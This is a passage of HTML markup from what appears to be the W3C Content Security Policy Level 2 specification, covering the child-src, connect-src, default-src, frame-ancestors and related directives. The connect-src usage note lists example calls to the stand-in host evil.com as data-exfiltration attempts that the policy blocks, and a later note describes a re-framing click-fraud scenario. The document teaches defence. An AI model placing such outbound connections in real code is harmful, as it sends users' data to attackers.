data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-child-sources\">allowed child sources<a class=\"self-link\" href=\"#allowed-child-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>child-src</code>\n    directive’s value as a source list</a> if a <code>child-src</code>\n    directive is explicitly specified, and otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.1\" id=\"directive-child-src-nested\"><span class=\"secno\">7.2.1. </span><span class=\"content\">Nested Browsing Contexts</span><a class=\"self-link\" href=\"#directive-child-src-nested\"></a></h4>\n      \n\n\n      <p>To enforce the <code>child-src</code> directive the user agent MUST\n      enforce the <code><a data-link-type=\"dfn\" href=\"#frame_src\">frame-src</a></code> directive.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.2.2\" id=\"directive-child-src-workers\"><span class=\"secno\">7.2.2. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#directive-child-src-workers\"></a></h4>\n      \n\n\n      <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL while processing the\n      <code>Worker</code> or <code>SharedWorker</code> constructors\n      <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>, the user agent MUST act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>\n      if the URL does not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the\n      <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.3\" id=\"directive-connect-src\"><span class=\"secno\">7.3. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"connect_src\">connect-src<a class=\"self-link\" href=\"#connect_src\"></a></dfn></code> directive restricts which URLs the\n    protected resource can load using script interfaces. The syntax for the name\n    and value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"connect-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-connection-targets\">allowed connection targets<a class=\"self-link\" href=\"#allowed-connection-targets\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>connect-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>connect-src</code> directive, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-connection-targets\">allowed connection\n    targets</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as\n    if there was a fatal network error and no resource was obtained,\n    <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Processing the <a href=\"https://www.w3.org/TR/XMLHttpRequest/#the-send()-method\"><code>send()</code>\n      method</a> of an <code>XMLHttpRequest</code> object.\n      \n\n      \n      <li>Processing the <a href=\"https://w3c.github.io/websockets/\"><code>WebSocket</code>\n      constructor</a>.\n      \n\n      \n      <li>Processing the <a href= \"https://w3c.github.io/eventsource/\"><code>EventSource</code>\n      constructor</a>.\n      \n\n      \n      <li>Pinging an endpoint during <a href=\"https://html.spec.whatwg.org/multipage/semantics.html#hyperlink-auditing\">hyperlink auditing</a>.\n      \n\n      \n      <li>Sending a beacon via the <a href=\"https://www.w3.org/TR/beacon/#sec-sendBeacon-method\"><code>sendBeacon()</code></a> method <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>\n      \n    \n     </ul>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.3.1\" id=\"connect-src-usage\"><span class=\"secno\">7.3.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#connect-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>JavaScript offers a few mechanisms that directly connect to an\n      external server to send or receive information. <code>EventSource</code>\n      maintains an open HTTP connection to a server in order to receive push\n      notifications, <code>WebSockets</code> open a bidirectional communication\n      channel between your browser and a server, and <code>XMLHttpRequest</code>\n      makes arbitrary HTTP requests on your behalf. These are powerful APIs that\n      enable useful functionality, but also provide tempting avenues for data\n      exfiltration.</p>\n      \n\n\n      <p>The <code>connect-src</code> directive allows you to ensure that\n      these sorts of connections are only opened to origins you trust.\n      Sending a policy that defines a list of source expressions for this\n      directive is straightforward. For example, to limit connections to\n      only <code>example.com</code>, send the following header:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a> example.com</pre>\n      \n\n\n      <p>All of the following will fail with the preceding directive in\n      place:</p>\n      \n\n      \n      <ul>\n        \n       <li><code>new WebSocket(\"wss://evil.com/\");</code>\n       \n        \n       <li><code>(new XMLHttpRequest()).open(\"GET\", \"https://evil.com/\", true);</code>\n       \n        \n       <li><code>new EventSource(\"https://evil.com\");</code>\n       \n      \n      </ul>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.4\" id=\"directive-default-src\"><span class=\"secno\">7.4. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default_src\">default-src<a class=\"self-link\" href=\"#default_src\"></a></dfn></code> directive sets a default\n    source list for a number of directives. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"default-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>Let the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default-sources\">default sources<a class=\"self-link\" href=\"#default-sources\"></a></dfn> be the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>default-src</code>\n    directive’s value as a source list</a> if a <code>default-src</code>\n    directive is explicitly specified, and otherwise the U+002A ASTERISK\n    character (*).</p>\n     \n\n\n     <p>To enforce the <code>default-src</code> directive, the user agent\n    MUST enforce the following directives:</p>\n     \n\n    \n     <ul>\n      \n      <li><code><a data-link-type=\"dfn\" href=\"#child_src\">child-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#connect_src\">connect-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#media_src\">media-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n      \n      \n      <li><code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code>\n      \n    \n     </ul>\n     \n\n\n     <p>If not specified explicitly in the policy, the directives listed\n    above will use the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> as their source list.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.4.1\" id=\"default-src-usage\"><span class=\"secno\">7.4.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#default-src-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p><code>default-src</code>, as the name implies, serves as a default\n      source list which the other source list-style directives will use as\n      a fallback if they’re not otherwise explicitly set. That is, consider\n      the following policy declaration:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n\n\n      <p>Under this policy, fonts, frames, images, media, objects, scripts,\n      and styles will all only load from the same origin as the protected\n      resource, and connections will only be made to the same origin. Adding\n      a more specific declaration to the policy would completely override\n      the default source list for that resource type.</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> example.com</pre>\n      \n\n\n      <p>Under this new policy, fonts, frames, and etc. continue to be load\n      from the same origin, but scripts will <em>only</em> load from\n      <code>example.com</code>. There’s no inheritance; the\n      <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive sets the allowed sources of\n      script, and the default list is not used for that resource type.</p>\n      \n\n\n      <p>Given this behavior, one good way of building a policy for a site\n      would be to begin with a <code>default-src</code> of\n      <code>'none'</code>, and to build up a policy from there that contains\n      only those resource types which are actually in use for the page you’d\n      like to protect. If you don’t use webfonts, for instance, there’s no\n      reason to specify a source list for <code><a data-link-type=\"dfn\" href=\"#font_src\">font-src</a></code>;\n      specifying only those resource types a page uses ensures that the\n      possible attack surface for that page remains as small as possible.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.5\" id=\"directive-font-src\"><span class=\"secno\">7.5. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"font_src\">font-src<a class=\"self-link\" href=\"#font_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load fonts. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"font-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-font-sources\">allowed font sources<a class=\"self-link\" href=\"#allowed-font-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>font-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>font-src</code>, or otherwise to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-font-sources\">allowed font sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a font, such as when processing\n      the &lt;&lt;@font-face>> Cascading Style Sheets (CSS) rule.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.6\" id=\"directive-form-action\"><span class=\"secno\">7.6. </span><span class=\"content\"><code>form-action</code></span><a class=\"self-link\" href=\"#directive-form-action\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"form_action\">form-action<a class=\"self-link\" href=\"#form_action\"></a></dfn></code> restricts which URLs can be used as\n    the action of HTML <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> elements. The syntax for the name and value of\n    the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"form-action\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-form-actions\">allowed form actions<a class=\"self-link\" href=\"#allowed-form-actions\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>form-action</code>\n    directive’s value as a source list</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of processing\n    an HTML <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/forms.html#the-form-element\">form</a></code> element, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-form-actions\">allowed form actions</a> for\n    the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>form-action</code> does not fall back to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a> when the directive is not defined. That is, a policy that\n    defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>form-action</code> will still allow form submissions to any\n    target.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.7\" id=\"directive-frame-ancestors\"><span class=\"secno\">7.7. </span><span class=\"content\"><code>frame-ancestors</code></span><a class=\"self-link\" href=\"#directive-frame-ancestors\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_ancestors\">frame-ancestors<a class=\"self-link\" href=\"#frame_ancestors\"></a></dfn></code> directive indicates whether the\n    user agent should allow embedding the resource using a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code>,\n    <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, or equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-link-type=\"biblio\" href=\"#biblio-uiredress\">[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n     \n\n\n     <p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source_list\">ancestor-source-list<a class=\"self-link\" href=\"#ancestor_source_list\"></a></dfn> = [ <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#ancestor_source\">ancestor-source</a> ) ] / \"'none'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"ancestor_source\">ancestor-source<a class=\"self-link\" href=\"#ancestor_source\"></a></dfn>      = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a>\n\ndirective-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=\"dfn\" href=\"#ancestor_source_list\">ancestor-source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-ancestors\">allowed frame ancestors<a class=\"self-link\" href=\"#allowed-frame-ancestors\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n     \n\n\n     <p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n     \n\n    \n     <ol>\n      \n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.\n      \n\n      \n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context\">ancestors</a> of <var>nestedContext</var>.\n      \n\n      \n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        \n       <ol>\n          \n        <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#active-document\">active document</a>.\n        \n\n          \n        <li>If <var>document</var>’s URL does not\n          <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n          ancestors</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST:\n            \n         <ol>\n              \n          <li>Abort loading the protected resource.\n          \n\n              \n          <li>Take one of the following actions:\n\n                \n           <ol>\n                  \n            <li>\n                    Act as if it received an empty <a data-link-type=\"dfn\" href=\"#http-200-response\">HTTP 200 response</a>.\n                  \n            \n                  \n            <li>\n                    Redirect the user to a friendly error page which provides\n                    the option of opening the blocked page in a new <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#top-level-browsing-context\">top-level\n                    browsing context</a>.\n                  \n            \n                \n           </ol>\n           \n              \n          \n\n              \n          <li>\n                <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">Parse a sandboxing directive</a> using the\n                empty string as the <em>input</em> and the newly created\n                document’s <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a> as the\n                <em>output</em>.\n              \n          \n\n              \n          <li><a data-link-type=\"dfn\" href=\"#report-a-violation\">Report a violation</a>.\n          \n\n              \n          <li>Abort these steps.\n          \n            \n         </ol>\n         \n          \n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible.</p>\n     \n\n\n     <p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n     \n\n\n     <p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.1\" id=\"frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1. </span><span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=\"self-link\" href=\"#frame-ancestors-and-frame-options\"></a></h4>\n      \n\n\n      <p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n      \n\n\n      <p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n      \n    \n     </section>\n     \n\n    \n     <section class=\"informative\" id=\"multiple-host-source-values\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.2\" id=\"frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2. </span><span class=\"content\">Multiple Host Source Values</span><a class=\"self-link\" href=\"#frame-ancestors-multiple-source-values\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n      \n\n\n      <p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n      \n\n\n      <p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://alice https://bob\n</pre>\n      \n\n\n      <p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.8\" id=\"directive-frame-src\"><span class=\"secno\">7.8. </span><span class=\"content\"><code>frame-src</code></span><a class=\"self-link\" href=\"#directive-frame-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_src\">frame-src<a class=\"self-link\" href=\"#frame_src\"></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n     \n\n\n     <p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-sources\">allowed frame sources<a class=\"self-link\" href=\"#allowed-frame-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-sources\">allowed frame sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> or a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> element.\n\n      \n      <li><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#navigate\">Navigated</a> such a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.9\" id=\"directive-img-src\"><span class=\"secno\">7.9. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"img_src\">img-src<a class=\"self-link\" href=\"#img_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-image-sources\">allowed image sources<a class=\"self-link\" href=\"#allowed-image-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-image-sources\">allowed image sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src\">src</a></code> or <code>srcset</code> attributes of an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element, the\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/forms.html#attr-input-src\">src</a></code> attribute of an <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/forms.html#the-input-element\">input</a></code> element with a type of\n      <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword\">image</a></code>, the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster\">poster</a></code> attribute of a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> element,\n      the <a data-link-type=\"functionish\" href=\"https://www.w3.org/TR/CSS21/syndata.html#uri\">url()</a>, <a data-link-type=\"functionish\" href=\"https://drafts.csswg.org/css-images-4/#funcdef-image\">image()</a> or <a data-link-type=\"functionish\" href=\"https://drafts.csswg.org/css-images-3/#funcdef-image-set\">image-set()</a> values on any\n      Cascading Style Sheets (CSS) property that is capable of loading an image\n      <a data-link-type=\"biblio\" href=\"#biblio-css4-images\">[CSS4-IMAGES]</a>, or the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attribute of a <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> element\n      with an image-related <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a></code> attribute, such as <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/links.html#rel-icon\">icon</a></code>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.10\" id=\"directive-media-src\"><span class=\"secno\">7.10. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" 